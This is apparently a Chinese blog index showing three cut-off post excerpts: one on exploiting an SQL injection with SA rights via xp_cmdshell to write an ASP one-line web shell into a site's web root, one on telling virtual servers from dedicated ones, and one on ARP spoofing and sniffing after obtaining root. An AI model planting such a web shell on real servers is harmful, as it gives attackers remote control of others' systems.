注入点是SA权限.xp_cmdshell是存在的.找到网站主目录 dir d:\wwwroot找到站点的目录后.Echo ^<%eval request("#" %>^ >d:\wwwroot\xx\ok.aspech...

在有些奸商会把虚拟机当作独立服务器卖，这里简单介绍一下市面上常用虚拟技术（包括容器技术）的判别小技巧。 判断 OpenVZ/Xen PV/UML 判断 OpenVZ/Xen PV/UML 是最容易的，直接检查 /proc 下的相关目录和...

算是一个记录过程吧，windows下面玩cain久了，发现他占cpu高，关键是没有命令行的。今天也碰到个linux的，直接获得了root密码。上去玩centos的arp欺骗与sniff。(先本地虚拟机里面用federa core 10测试了 。用的是dsn...